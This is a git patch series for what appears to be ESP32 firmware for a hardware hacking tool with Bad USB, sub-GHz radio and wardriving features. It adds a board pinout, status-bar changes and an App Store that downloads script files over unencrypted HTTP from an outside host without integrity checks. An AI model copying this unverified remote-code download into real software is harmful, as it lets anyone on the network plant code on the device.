+#define BUILTIN_LED LED_BUILTIN // backward compatibility
+#define LED_BUILTIN LED_BUILTIN // allow testing #ifdef LED_BUILTIN
+// RGB_BUILTIN and RGB_BRIGHTNESS can be used in new Arduino API rgbLedWrite()
+#define RGB_BUILTIN LED_BUILTIN
+#define RGB_BRIGHTNESS 64
+
+static const uint8_t TX = 11;
+static const uint8_t RX = 12;
+
+static const uint8_t USB_DM = 13;
+static const uint8_t USB_DP = 14;
+
+static const uint8_t SDA = 4;
+static const uint8_t SCL = 5;
+
+static const uint8_t SS = 10;
+static const uint8_t MOSI = 7;
+static const uint8_t MISO = 2;
+static const uint8_t SCK = 6;
+
+static const uint8_t A0 = 1;
+static const uint8_t A1 = 2;
+static const uint8_t A2 = 3;
+static const uint8_t A3 = 4;
+static const uint8_t A4 = 5;
+static const uint8_t A5 = 6;
+
+// LP I2C Pins are fixed on ESP32-C5
+static const uint8_t LP_SDA = 4;
+static const uint8_t LP_SCL = 5;
+#define WIRE1_PIN_DEFINED
+#define SDA1 LP_SDA
+#define SCL1 LP_SCL
+
+// LP UART Pins are fixed on ESP32-C5
+static const uint8_t LP_RX = 12;
+static const uint8_t LP_TX = 11;
+
+#define HAS_RGB_LED 1
+#define LED_ORDER GRB
+#define LED_TYPE_IS_RGBW 1
+#define LED_COUNT 1
+#define LED_TYPE WS2812
+#define LED_COLOR_STEP 15
+#define RGB_LED 27
+
+/* Communication Buses*/
+// UART
+#define SERIAL_TX 11
+#define SERIAL_RX 12
+// I2C
+#define GROVE_SDA 8
+#define GROVE_SCL 9
+// SPI
+#define SPI_SCK_PIN 6
+#define SPI_MOSI_PIN 7
+#define SPI_MISO_PIN 2
+#define SPI_SS_PIN 9
+
+/* TFT definitions */
+#define HAS_SCREEN 1
+#define MINBRIGHT (uint8_t)1
+#define USER_SETUP_LOADED 1
+
+/* ---------------------   */
+// Setup for ST7789 240x320
+
+#define ST7789_DRIVER 1
+#define TFT_WIDTH 240
+#define TFT_HEIGHT 320
+
+/* ---------------------   */
+// Setup for ILI9341 320x240 (no touch)
+
+// #define ILI9341_DRIVER 1
+// #define TFT_HEIGHT 320
+// #define TFT_WIDTH 240
+
+/* ---------------------   */
+// Common TFT definitions
+#define TFT_BACKLIGHT_ON 1
+#define TFT_BL 25
+#define TFT_RST -1
+#define TFT_DC 24
+#define TFT_MISO 2 // set to share SPI with other devices
+#define TFT_MOSI 7
+#define TFT_SCLK 6
+#define TFT_CS 23
+#define TOUCH_CS 1
+#define SMOOTH_FONT 1
+#define SPI_FREQUENCY 20000000
+#define SPI_READ_FREQUENCY 20000000
+#define SPI_TOUCH_FREQUENCY 2500000
+
+/*  Peripheral settings  */
+// Bad USB with CH9329
+#define BAD_RX 4
+#define BAD_TX 5
+// GPS Bus
+#define GPS_SERIAL_RX 4
+#define GPS_SERIAL_TX 5
+
+#define USE_TFT_eSPI_TOUCH 1
+#define HAS_TOUCH 1
+#define TOUCH_CS 1
+#define BTN_ACT LOW
+#define DEEPSLEEP_WAKEUP_PIN 0
+
+// InfraRed
+#define RXLED 9
+#define TXLED 8
+#define LED_ON HIGH
+#define LED_OFF LOW
+// SDCard
+#define SDCARD_CS 10
+#define SDCARD_SCK SPI_SCK_PIN
+#define SDCARD_MISO SPI_MISO_PIN
+#define SDCARD_MOSI SPI_MOSI_PIN
+// CC1101
+#define CC1101_GDO0_PIN 8
+#define CC1101_SS_PIN 9
+#define CC1101_MOSI_PIN SPI_MOSI_PIN
+#define CC1101_SCK_PIN SPI_SCK_PIN
+#define CC1101_MISO_PIN SPI_MISO_PIN
+// NRF24
+#define NRF24_CE_PIN 8
+#define NRF24_SS_PIN 9
+#define NRF24_MOSI_PIN SPI_MOSI_PIN
+#define NRF24_SCK_PIN SPI_SCK_PIN
+#define NRF24_MISO_PIN SPI_MISO_PIN
+// Ethernet
+#define W5500_INT_PIN 8
+#define W5500_SS_PIN 9
+#define W5500_MOSI_PIN SPI_MOSI_PIN
+#define W5500_SCK_PIN SPI_SCK_PIN
+#define W5500_MISO_PIN SPI_MISO_PIN
+#endif /* Pins_Arduino_h */
diff --git a/boards/pinouts/pins_arduino.h b/boards/pinouts/pins_arduino.h
index 8cc716273..865909049 100644
--- a/boards/pinouts/pins_arduino.h
+++ b/boards/pinouts/pins_arduino.h
@@ -46,4 +46,6 @@
 #include "../ESP32-C5-tft/pins_arduino.h"
 #elif ESP32C5_DEVKITC_1
 #include "../ESP32-C5/pins_arduino.h"
+#elif NM_CYD_ESP32C5
+#include "../nm-cyd-c5/pins_arduino.h"
 #endif
diff --git a/platformio.ini b/platformio.ini
index 16dd3ec4f..217860b30 100644
--- a/platformio.ini
+++ b/platformio.ini
@@ -12,7 +12,7 @@
 default_envs =
 	;m5stack-cardputer
 	;m5stack-sticks3
-	m5stack-cplus2
+	;m5stack-cplus2
 	;m5stack-cplus1_1
 	;LAUNCHER_m5stack-cplus1_1
 	;m5stack-core2
@@ -66,6 +66,7 @@ default_envs =
 	;esp32-c5-tft
   	;esp32-c5
   	;ES3C28P
+	nm-cyd-c5
 
 ;uncomment to not use global dirs to avoid possible conflicts
 ;platforms_dir = .pio/platforms
@@ -82,8 +83,8 @@ extra_configs =
 platform = https://github.com/pioarduino/platform-espressif32/releases/download/55.03.36/platform-espressif32.zip ; Arduino 3.3.6
            ;https://github.com/pioarduino/platform-espressif32/releases/download/55.03.34/platform-espressif32.zip ; Arduino 3.3.4
 		   ;https://github.com/pioarduino/platform-espressif32/releases/download/stable/platform-espressif32.zip ; Last Version
-platform_packages =
-    framework-arduinoespressif32-libs @ https://github.com/bmorcelli/esp32-arduino-lib-builder/releases/download/idf-release_v5.5/bruce_esp32-arduino-libs-20260123-153546.zip ; Arduino 3.3.6
+;platform_packages =
+    ;framework-arduinoespressif32-libs @ https://github.com/bmorcelli/esp32-arduino-lib-builder/releases/download/idf-release_v5.5/bruce_esp32-arduino-libs-20260123-153546.zip ; Arduino 3.3.6
 	;framework-arduinoespressif32-libs @ https://github.com/bmorcelli/esp32-arduino-lib-builder/releases/download/idf-release_v5.5/bruce_esp32-arduino-libs-20251205-131242.zip ; Arduino 3.3.4
 	;framework-arduinoespressif32-libs @ https://github.com/bmorcelli/esp32-arduino-lib-builder/releases/download/idf-release_v5.5/esp32-arduino-libs-20250919-170356.zip ; Arduino 3.3.1
 
diff --git a/src/core/config.h b/src/core/config.h
index 1aeea72ce..9c3239853 100644
--- a/src/core/config.h
+++ b/src/core/config.h
@@ -36,7 +36,7 @@ class BruceConfig : public BruceTheme {
     const char *filepath = "/bruce.conf";
 
     //  Settings
-    int dimmerSet = 10;
+    int dimmerSet = 60;
     int bright = 100;
     bool automaticTimeUpdateViaNTP = true;
     float tmz = 0;
diff --git a/src/modules/gps/gps_tracker.cpp b/src/modules/gps/gps_tracker.cpp
index d441145fd..26ea9d522 100644
--- a/src/modules/gps/gps_tracker.cpp
+++ b/src/modules/gps/gps_tracker.cpp
@@ -40,6 +40,7 @@ void GPSTracker::setup() {
 
 bool GPSTracker::begin_gps() {
     releasePins();
+    pinMode(bruceConfigPins.gps_bus.rx, INPUT);
     GPSserial.begin(
         bruceConfigPins.gpsBaudrate, SERIAL_8N1, bruceConfigPins.gps_bus.rx, bruceConfigPins.gps_bus.tx
     );
diff --git a/src/modules/gps/wardriving.cpp b/src/modules/gps/wardriving.cpp
index 335c48a60..3bf602a08 100644
--- a/src/modules/gps/wardriving.cpp
+++ b/src/modules/gps/wardriving.cpp
@@ -80,6 +80,7 @@ void Wardriving::begin_wifi() {
 
 bool Wardriving::begin_gps() {
     releasePins();
+    pinMode(bruceConfigPins.gps_bus.rx, INPUT);
     GPSserial.begin(
         bruceConfigPins.gpsBaudrate, SERIAL_8N1, bruceConfigPins.gps_bus.rx, bruceConfigPins.gps_bus.tx
     );

From 6c3c921dced279ce9743a5be642ea47d8f56504d Mon Sep 17 00:00:00 2001
From: ! FrannnDev <181183464+fastdexcorp@users.noreply.github.com>
Date: Sun, 22 Mar 2026 18:50:59 -0300
Subject: [PATCH 04/73] Improvements

---
 src/core/display.cpp                 | 133 ++++++-----
 src/core/main_menu.cpp               |   3 +
 src/core/main_menu.h                 |   4 +
 src/core/menu_items/AppStoreMenu.cpp | 328 +++++++++++++++++++++++++++
 src/core/menu_items/AppStoreMenu.h   |  19 ++
 src/core/menu_items/ConfigMenu.cpp   |   5 -
 src/core/wifi/wg.cpp                 |  53 ++---
 src/modules/ir/ir_read.cpp           | 167 ++++++++------
 src/modules/ir/ir_read.h             |  38 +---
 9 files changed, 571 insertions(+), 179 deletions(-)
 create mode 100644 src/core/menu_items/AppStoreMenu.cpp
 create mode 100644 src/core/menu_items/AppStoreMenu.h

diff --git a/src/core/display.cpp b/src/core/display.cpp
index 341234ee9..1921c40ba 100644
--- a/src/core/display.cpp
+++ b/src/core/display.cpp
@@ -774,38 +774,8 @@ void drawSubmenu(int index, std::vector<Option> &options, const char *title) {
 }
 
 void drawStatusBar() {
-    int i = 0;
     uint8_t bat = getBattery();
-    uint8_t bat_margin = 85;
-    if (bat > 0) {
-        drawBatteryStatus(bat);
-    } else bat_margin = 26;
-    if (sdcardMounted) {
-        tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-        tft.setTextSize(FP);
-        tft.drawString("SD", tftWidth - (bat_margin), 12);
-        i++;
-    } // Indication for SD card on screen
-    if (gpsConnected) {
-        drawGpsSmall(tftWidth - (bat_margin + 23 * i), 7);
-        i++;
-    }
-    if (WiFi.getMode()) {
-        drawWifiSmall(tftWidth - (bat_margin + 23 * i), 7);
-        i++;
-    } // Draw Wifi Symbol beside battery
-    if (isWebUIActive) {
-        drawWebUISmall(tftWidth - (bat_margin + 23 * i), 7);
-        i++;
-    } // Draw Wifi Symbol beside battery
-    if (BLEConnected) {
-        drawBLESmall(tftWidth - (bat_margin + 23 * i), 7);
-        i++;
-    } // Draw BLE beside Wifi
-    if (isConnectedWireguard) {
-        drawWireguardStatus(tftWidth - (bat_margin + 24 * i), 7);
-        i++;
-    } // Draw Wg bedide BLE, if the others exist, if not, beside battery
+    if (bat > 0) drawBatteryStatus(bat);
 
     if (bruceConfig.theme.border) {
         tft.drawRoundRect(5, 5, tftWidth - 10, tftHeight - 10, 5, bruceConfig.priColor);
@@ -813,9 +783,8 @@ void drawStatusBar() {
     }
 
     if (clock_set) {
-        int clock_fontsize = 1; // Font size of the clock / BRUCE + BRUCE_VERSION
-        setTftDisplay(12, 12, bruceConfig.priColor, clock_fontsize, bruceConfig.bgColor);
-        tft.fillRect(12, 12, 100, clock_fontsize * LH, bruceConfig.bgColor);
+        setTftDisplay(12, 12, bruceConfig.priColor, 1, bruceConfig.bgColor);
+        tft.fillRect(12, 12, 60, LH, bruceConfig.bgColor);
 #if defined(HAS_RTC)
         updateTimeStr(_rtc.getTimeStruct());
 #else
@@ -826,6 +795,71 @@ void drawStatusBar() {
         setTftDisplay(12, 12, bruceConfig.priColor, 1, bruceConfig.bgColor);
         tft.print("BRUCE " + String(BRUCE_VERSION));
     }
+
+    int iconCount = 0;
+    bool showSD   = sdcardMounted;
+    bool showGPS  = gpsConnected;
+    bool showWifi = (WiFi.getMode() != 0);
+    bool showWeb  = isWebUIActive;
+    bool showBLE  = BLEConnected;
+    bool showWG   = isConnectedWireguard;
+    if (showSD)   iconCount++;
+    if (showGPS)  iconCount++;
+    if (showWifi) iconCount++;
+    if (showWeb)  iconCount++;
+    if (showBLE)  iconCount++;
+    if (showWG)   iconCount++;
+
+    if (iconCount > 0) {
+        const int IW  = 16;
+        const int IH  = 16;
+        const int GAP = 6;
+        int totalW = iconCount * IW + (iconCount - 1) * GAP;
+        int sx = (tftWidth - totalW) / 2;
+        int iy = 7;
+        int idx = 0;
+
+        if (showSD) {
+            int x = sx + idx * (IW + GAP);
+            tft.fillRect(x, iy, IW, IH, bruceConfig.bgColor);
+            tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+            tft.setTextSize(FP);
+            tft.setTextDatum(MC_DATUM);
+            tft.drawString("SD", x + IW / 2, iy + IH / 2);
+            tft.setTextDatum(TL_DATUM);
+            idx++;
+        }
+        if (showGPS) {
+            int x = sx + idx * (IW + GAP);
+            tft.fillRect(x, iy, IW, IH, bruceConfig.bgColor);
+            drawGpsSmall(x, iy);
+            idx++;
+        }
+        if (showWifi) {
+            int x = sx + idx * (IW + GAP);
+            tft.fillRect(x, iy, IW, IH, bruceConfig.bgColor);
+            drawWifiSmall(x, iy);
+            idx++;
+        }
+        if (showWeb) {
+            int x = sx + idx * (IW + GAP);
+            tft.fillRect(x, iy, IW, IH, bruceConfig.bgColor);
+            drawWebUISmall(x, iy);
+            idx++;
+        }
+        if (showBLE) {
+            int x = sx + idx * (IW + GAP);
+            tft.fillRect(x, iy, IW, IH, bruceConfig.bgColor);
+            drawBLESmall(x, iy);
+            idx++;
+        }
+        if (showWG) {
+            int x = sx + idx * (IW + GAP);
+            tft.fillRect(x, iy, IW, IH, bruceConfig.bgColor);
+            drawWireguardStatus(x, iy);
+            idx++;
+        }
+    }
 }
 
 void drawMainBorder(bool clear) {
@@ -889,10 +923,6 @@ void printCenterFootnote(String text) {
     tft.drawCentreString(text, tftWidth / 2, tftHeight - BORDER_PAD_X - FP * LH, SMOOTH_FONT);
 }
 
-/***************************************************************************************
-** Function name: drawBatteryStatus()
-** Description:   Draws battery info into the Status bar
-***************************************************************************************/
 void drawBatteryStatus(uint8_t bat) {
     if (bat == 0) return;
 
@@ -901,31 +931,30 @@ void drawBatteryStatus(uint8_t bat) {
     uint16_t color = bruceConfig.priColor;
     uint16_t barcolor = bruceConfig.priColor;
     if (bat < 16) barcolor = color = TFT_RED;
-    else if (bat < 34) barcolor = color = TFT_YELLOW;
-    if (charging) color = TFT_GREEN;
 
-    tft.drawRoundRect(tftWidth - 43, 6, 36, 19, 2, charging ? color : bruceConfig.bgColor); // (bolder border)
     tft.drawRoundRect(tftWidth - 42, 7, 34, 17, 2, color);
     tft.setTextSize(FP);
-    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    tft.drawRightString((bat == 100 ? "" : " ") + String(bat) + "%", tftWidth - 45, 12, 1);
+    tft.fillRect(tftWidth - 85, 7, 42, 18, bruceConfig.bgColor);
+    if (charging) {
+        tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+        tft.drawRightString("CHG", tftWidth - 44, 12, 1);
+    } else {
+        tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+        tft.drawRightString((bat == 100 ? "" : " ") + String(bat) + "%", tftWidth - 44, 12, 1);
+    }
     tft.fillRoundRect(tftWidth - 40, 9, 30 * bat / 100, 13, 2, barcolor);
     tft.drawLine(tftWidth - 30, 9, tftWidth - 30, 9 + 13, bruceConfig.bgColor);
     tft.drawLine(tftWidth - 20, 9, tftWidth - 20, 9 + 13, bruceConfig.bgColor);
 }
-/***************************************************************************************
-** Function name: drawWireguardStatus()
-** Description:   Draws a padlock when connected
-***************************************************************************************/
+
 void drawWireguardStatus(int x, int y) {
     tft.fillRect(x, y, 20, 17, bruceConfig.bgColor);
     if (isConnectedWireguard) {
-        tft.drawRoundRect(11 + x, 0 + y, 8, 12, 5, TFT_GREEN);
-        tft.fillRoundRect(10 + x, 8 + y, 10, 8, 0, TFT_GREEN);
+        tft.drawRoundRect(4 + x, 0 + y, 8, 10, 4, bruceConfig.priColor);
+        tft.fillRoundRect(3 + x, 7 + y, 10, 8, 0, bruceConfig.priColor);
     } else {
-        tft.drawRoundRect(1 + x, 0 + y, 8, 12, 5, bruceConfig.priColor);
-        tft.fillRoundRect(0 + x, 8 + y, 10, 8, 0, bruceConfig.bgColor);
-        tft.fillRoundRect(6 + x, 8 + y, 10, 10, 0, bruceConfig.priColor);
+        tft.drawRoundRect(4 + x, 0 + y, 8, 10, 4, bruceConfig.priColor);
+        tft.fillRoundRect(3 + x, 7 + y, 10, 8, 0, bruceConfig.priColor);
     }
 }
 
diff --git a/src/core/main_menu.cpp b/src/core/main_menu.cpp
index 4dcbbdaff..73603b742 100644
--- a/src/core/main_menu.cpp
+++ b/src/core/main_menu.cpp
@@ -25,6 +25,9 @@ MainMenu::MainMenu() {
         &appsMenu,
 #endif
         &loraMenu,
+#endif
+#if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
+        &appStoreMenu,
 #endif
         &othersMenu,
         &clockMenu,
diff --git a/src/core/main_menu.h b/src/core/main_menu.h
index ce28f98b2..5653a577a 100644
--- a/src/core/main_menu.h
+++ b/src/core/main_menu.h
@@ -20,6 +20,7 @@
 #include "menu_items/ScriptsMenu.h"
 #include "menu_items/WifiMenu.h"
 #include "menu_items/AppsMenu.h"
+#include "menu_items/AppStoreMenu.h"
 class MainMenu {
 public:
     AppsMenu appsMenu;
@@ -37,6 +38,9 @@ class MainMenu {
     RFMenu rfMenu;
     ScriptsMenu scriptsMenu;
     WifiMenu wifiMenu;
+#if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
+    AppStoreMenu appStoreMenu;
+#endif
 #if !defined(LITE_VERSION)
     LoRaMenu loraMenu;
     EthernetMenu ethernetMenu;
diff --git a/src/core/menu_items/AppStoreMenu.cpp b/src/core/menu_items/AppStoreMenu.cpp
new file mode 100644
index 000000000..bfacf895c
--- /dev/null
+++ b/src/core/menu_items/AppStoreMenu.cpp
@@ -0,0 +1,328 @@
+#include "AppStoreMenu.h"
+
+#if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
+
+#include "core/display.h"
+#include "core/sd_functions.h"
+#include "core/mykeyboard.h"
+#include "core/wifi/wifi_common.h"
+#include "core/utils.h"
+#include <globals.h>
+#include <HTTPClient.h>
+#include <ArduinoJson.h>
+#include <WiFi.h>
+
+#define AS_HOST "http://ghp.iceis.co.uk"
+#define AS_INST "/BruceAppStore/installed.json"
+#define AS_CACHE "/BruceAppStore/cache/"
+
+static FS *_afs = nullptr;
+
+static void _initFs() {
+    if (_afs) return;
+    setupSdCard();
+    _afs = sdcardMounted ? (FS *)&SD : (FS *)&LittleFS;
+    const char *dirs[] = {"/BruceAppStore", AS_CACHE, "/BruceJS"};
+    for (auto d : dirs)
+        if (!_afs->exists(d)) _afs->mkdir(d);
+}
+
+static bool _needWifi() {
+    if (WiFi.status() == WL_CONNECTED) return true;
+    wifiConnectMenu(WIFI_STA);
+    if (WiFi.status() != WL_CONNECTED) {
+        displayError("WiFi not connected", true);
+        return false;
+    }
+    return true;
+}
+
+static String _httpGet(const String &url) {
+    HTTPClient http;
+    http.begin(url);
+    http.setTimeout(10000);
+    String r;
+    if (http.GET() == 200) r = http.getString();
+    http.end();
+    return r;
+}
+
+static bool _httpSave(const String &url, const String &path) {
+    HTTPClient http;
+    http.begin(url);
+    http.setTimeout(15000);
+    if (http.GET() != 200) {
+        http.end();
+        return false;
+    }
+    int sl = path.lastIndexOf('/');
+    if (sl > 0) {
+        String d = path.substring(0, sl);
+        if (!_afs->exists(d)) _afs->mkdir(d);
+    }
+    File f = _afs->open(path, FILE_WRITE);
+    if (!f) {
+        http.end();
+        return false;
+    }
+    http.writeToStream(&f);
+    f.close();
+    http.end();
+    return true;
+}
+
+static String _instVer(const String &slug) {
+    File f = _afs->open(AS_INST, FILE_READ);
+    if (!f) return "";
+    JsonDocument doc;
+    deserializeJson(doc, f);
+    f.close();
+    if (doc[slug].is<JsonObject>()) return doc[slug]["version"].as<String>();
+    return "";
+}
+
+static void _doInstall(String slug, String appName) {
+    displayTextLine("Fetching metadata...", false);
+    String url = String(AS_HOST) + "/service/main/repositories/" + slug + "/metadata.json";
+    url.replace(" ", "%20");
+    String raw = _httpGet(url);
+    if (raw.isEmpty()) {
+        displayError("Fetch failed", true);
+        return;
+    }
+
+    JsonDocument meta;
+    if (deserializeJson(meta, raw)) {
+        displayError("Parse error", true);
+        return;
+    }
+
+    JsonArray files = meta["files"].as<JsonArray>();
+    String cat = meta["category"].as<String>();
+    String bp = meta["path"].as<String>();
+    String owner = meta["owner"].as<String>();
+    String repo = meta["repo"].as<String>();
+    String commit = meta["commit"].as<String>();
+    String ver = meta["version"].as<String>();
+    String dest = (cat == "Themes") ? "/Themes/" + appName + "/" : "/BruceJS/" + cat + "/";
+    int total = files.size(), ok = 0;
+
+    for (int i = 0; i < total; i++) {
+        displayTextLine("Downloading " + String(i + 1) + "/" + String(total), false);
+        String fn, src;
+        if (files[i].is<JsonObject>()) {
+            fn = files[i]["destination"].as<String>();
+            src = files[i]["source"].as<String>();
+        } else {
+            fn = files[i].as<String>();
+            src = fn;
+        }
+        while (fn.startsWith("/")) fn = fn.substring(1);
+        while (src.startsWith("/")) src = src.substring(1);
+        String sp = bp + src;
+        while (sp.startsWith("/")) sp = sp.substring(1);
+        String dl = String(AS_HOST) + "/service/manual/" + owner + "/" + repo + "/" + commit + "/" + sp;
+        dl.replace(" ", "%20");
+        if (_httpSave(dl, dest + fn)) ok++;
+    }
+
+    if (ok == total) {
+        File f = _afs->open(AS_INST, FILE_READ);
+        JsonDocument inst;
+        if (f) {
+            deserializeJson(inst, f);
+            f.close();
+        }
+        inst[slug]["version"] = ver;
+        inst[slug]["commit"] = commit;
+        File w = _afs->open(AS_INST, FILE_WRITE);
+        if (w) {
+            serializeJson(inst, w);
+            w.close();
+        }
+        displaySuccess("Installed!", true);
+    } else {
+        displayError(String(ok) + "/" + String(total) + " files ok", true);
+    }
+}
+
+static void _doDelete(String slug, String appName) {
+    displayTextLine("Deleting...", false);
+    String url = String(AS_HOST) + "/service/main/repositories/" + slug + "/metadata.json";
+    url.replace(" ", "%20");
+    String raw = _httpGet(url);
+    if (raw.isEmpty()) {
+        displayError("Fetch failed", true);
+        return;
+    }
+
+    JsonDocument meta;
+    if (deserializeJson(meta, raw)) {
+        displayError("Parse error", true);
+        return;
+    }
+
+    JsonArray files = meta["files"].as<JsonArray>();
+    String cat = meta["category"].as<String>();
+    String dest = (cat == "Themes") ? "/Themes/" + appName + "/" : "/BruceJS/" + cat + "/";
+
+    for (int i = 0; i < (int)files.size(); i++) {
+        String fn;
+        if (files[i].is<JsonObject>()) fn = files[i]["destination"].as<String>();
+        else fn = files[i].as<String>();
+        while (fn.startsWith("/")) fn = fn.substring(1);
+        _afs->remove(dest + fn);
+    }
+
+    File f = _afs->open(AS_INST, FILE_READ);
+    JsonDocument inst;
+    if (f) {
+        deserializeJson(inst, f);
+        f.close();
+    }
+    inst.remove(slug);
+    File w = _afs->open(AS_INST, FILE_WRITE);
+    if (w) {
+        serializeJson(inst, w);
+        w.close();
+    }
+    displaySuccess("Deleted!", true);
+}
+
+static void _appMenu(String name, String slug, String ver) {
+    String iv = _instVer(slug);
+    options.clear();
+    if (iv.isEmpty()) {
+        options.push_back({"Install", [slug, name]() { _doInstall(slug, name); }});
+    } else {
+        if (iv != ver) options.push_back({"Update", [slug, name]() { _doInstall(slug, name); }});
+        options.push_back({"Reinstall", [slug, name]() { _doInstall(slug, name); }});
+        options.push_back({"Delete", [slug, name]() { _doDelete(slug, name); }});
+    }
+    addOptionToMainMenu();
+    loopOptions(options, MENU_TYPE_SUBMENU, name.c_str());
+}
+
+static void _catMenu(String slug, String catName) {
+    displayTextLine("Loading " + catName + "...", false);
+    String cp = String(AS_CACHE) + "category-" + slug + ".json";
+    String raw;
+    File cf = _afs->open(cp, FILE_READ);
+    if (cf) {
+        raw = cf.readString();
+        cf.close();
+    }
+    if (raw.isEmpty()) {
+        if (!_needWifi()) return;
+        raw = _httpGet(String(AS_HOST) + "/service/main/releases/category-" + slug + ".min.json");
+        if (raw.isEmpty()) {
+            displayError("Load failed", true);
+            return;
+        }
+        File wf = _afs->open(cp, FILE_WRITE);
+        if (wf) {
+            wf.print(raw);
+            wf.close();
+        }
+    }
+
+    JsonDocument doc;
+    if (deserializeJson(doc, raw)) {
+        displayError("Parse error", true);
+        return;
+    }
+    JsonArray apps = doc["apps"].as<JsonArray>();
+    if (!apps.size()) {
+        displayInfo("No apps in this category", true);
+        return;
+    }
+
+    struct AppEntry {
+        String n, s, v;
+    };
+    std::vector<AppEntry> list;
+    for (int i = 0; i < (int)apps.size(); i++)
+        list.push_back({apps[i]["n"].as<String>(), apps[i]["s"].as<String>(), apps[i]["v"].as<String>()});
+
+    options.clear();
+    for (auto &a : list) {
+        String iv = _instVer(a.s);
+        String lbl = a.n;
+        if (!iv.isEmpty()) lbl += (iv != a.v) ? " [UPD]" : " [OK]";
+        String n = a.n, s = a.s, v = a.v;
+        options.push_back({lbl, [n, s, v]() { _appMenu(n, s, v); }});
+    }
+    addOptionToMainMenu();
+    loopOptions(options, MENU_TYPE_SUBMENU, catName.c_str());
+}
+
+void AppStoreMenu::optionsMenu() {
+    _initFs();
+    if (!_needWifi()) return;
+
+    displayTextLine("Loading App Store...", false);
+    String raw = _httpGet(String(AS_HOST) + "/service/main/releases/categories.json");
+    if (raw.isEmpty()) {
+        displayError("Failed to load categories", true);
+        return;
+    }
+
+    JsonDocument doc;
+    if (deserializeJson(doc, raw)) {
+        displayError("Parse error", true);
+        return;
+    }
+    JsonArray cats = doc["categories"].as<JsonArray>();
+    if (!cats.size()) {
+        displayInfo("No categories available", true);
+        return;
+    }
+
+    struct CatEntry {
+        String name, slug;
+        int count;
+    };
+    std::vector<CatEntry> list;
+    for (int i = 0; i < (int)cats.size(); i++) {
+        String s = cats[i]["slug"].as<String>();
+        if (s == "updates") continue;
+        list.push_back({cats[i]["name"].as<String>(), s, cats[i]["count"].as<int>()});
+    }
+
+    options.clear();
+    for (auto &c : list) {
+        String lbl = c.name + " (" + String(c.count) + ")";
+        String slug = c.slug, name = c.name;
+        options.push_back({lbl, [slug, name]() { _catMenu(slug, name); }});
+    }
+    addOptionToMainMenu();
+    loopOptions(options, MENU_TYPE_SUBMENU, "App Store");
+}
+
+void AppStoreMenu::drawIcon(float scale) {
+    clearIconArea();
+
+    int iconW = scale * 50;
+    int iconH = scale * 50;
+    if (iconW % 2 != 0) iconW++;
+    if (iconH % 2 != 0) iconH++;
+
+    int cx = iconCenterX;
+    int cy = iconCenterY;
+    int half = iconW / 2;
+
+    tft.drawRoundRect(cx - half, cy - half, iconW, iconH, half / 4, bruceConfig.priColor);
+
+    int aw = iconW / 5;
+    int top = cy - half / 2;
+    int bot = cy + half / 6;
+    tft.fillRect(cx - aw / 2, top, aw, bot - top, bruceConfig.priColor);
+
+    int tw = half / 2 + 2;
+    tft.fillTriangle(cx - tw, bot, cx + tw, bot, cx, cy + half / 2, bruceConfig.priColor);
+
+    int ly = cy + half - half / 5;
+    tft.drawLine(cx - half / 2, ly, cx + half / 2, ly, bruceConfig.priColor);
+}
+
+#endif
diff --git a/src/core/menu_items/AppStoreMenu.h b/src/core/menu_items/AppStoreMenu.h
new file mode 100644
index 000000000..0c468539b
--- /dev/null
+++ b/src/core/menu_items/AppStoreMenu.h
@@ -0,0 +1,19 @@
+#ifndef __APP_STORE_MENU_H__
+#define __APP_STORE_MENU_H__
+
+#include <MenuItemInterface.h>
+
+#if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
+
+class AppStoreMenu : public MenuItemInterface {
+public:
+    AppStoreMenu() : MenuItemInterface("App Store") {}
+
+    void optionsMenu(void);
+    void drawIcon(float scale);
+    bool hasTheme() { return false; }
+    String themePath() { return ""; }
+};
+
+#endif
+#endif
diff --git a/src/core/menu_items/ConfigMenu.cpp b/src/core/menu_items/ConfigMenu.cpp
index 2b606096f..753f51064 100644
--- a/src/core/menu_items/ConfigMenu.cpp
+++ b/src/core/menu_items/ConfigMenu.cpp
@@ -32,11 +32,6 @@ void ConfigMenu::optionsMenu() {
             {"System Config", [this]() { systemMenu(); }   },
             {"Power",         [this]() { powerMenu(); }    },
         };
-#if !defined(LITE_VERSION)
-        if (!appStoreInstalled()) {
-            localOptions.push_back({"Install App Store", []() { installAppStoreJS(); }});
-        }
-#endif
 
         if (bruceConfig.devMode) {
             localOptions.push_back({"Dev Mode", [this]() { devMenu(); }});
diff --git a/src/core/wifi/wg.cpp b/src/core/wifi/wg.cpp
index 07acc74c2..29e3c4202 100644
--- a/src/core/wifi/wg.cpp
+++ b/src/core/wifi/wg.cpp
@@ -2,6 +2,7 @@ bool isConnectedWireguard = false;
 #ifndef LITE_VERSION
 #include "wg.h"
 #include "core/display.h"
+#include "core/mykeyboard.h"
 #include "core/sd_functions.h"
 #include "core/wifi/wifi_common.h"
 #include <WireGuard-ESP32.h>
@@ -94,15 +95,8 @@ void read_and_parse_file() {
 
     File file = SD.open("/wg.conf");
     if (!file) {
-        tft.fillScreen(bruceConfig.bgColor);
-        tft.setCursor(0, 0);
-
-        tft.setTextColor(TFT_RED, bruceConfig.bgColor);
         Serial.println("Failed to open wg.conf file");
-        // tft.println("No wg.conf file\nfound on\nthe SD");
-        displayRedStripe("No wg.conf file", TFT_RED, bruceConfig.priColor);
-        tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-        delay(6000);
+        displayError("No wg.conf file on SD", true);
         return;
     }
 
@@ -121,34 +115,37 @@ void wg_setup() {
 
     read_and_parse_file();
 
-    Serial.println("Adjusting system time...");
+    drawMainBorderWithTitle("WIREGUARD");
+    printSubtitle("Connecting...");
+    tft.setTextSize(FP);
+    padprintln("");
+    padprintln("Syncing time...");
+
     configTime(9 * 60 * 60, 0, "ntp.jst.mfeed.ad.jp", "ntp.nict.jp");
-    tft.fillScreen(bruceConfig.bgColor);
-    tft.setCursor(0, 0);
 
-    Serial.println("Connected. Initializing WireGuard...");
-    // tft.println("Connecting to\nwireguard...");
+    padprintln("Initializing tunnel...");
     wg.begin(local_ip, private_key, endpoint_address, public_key, endpoint_port);
-    Serial.println(local_ip);
-    Serial.println(private_key);
-    Serial.println(endpoint_address);
-    Serial.println(public_key);
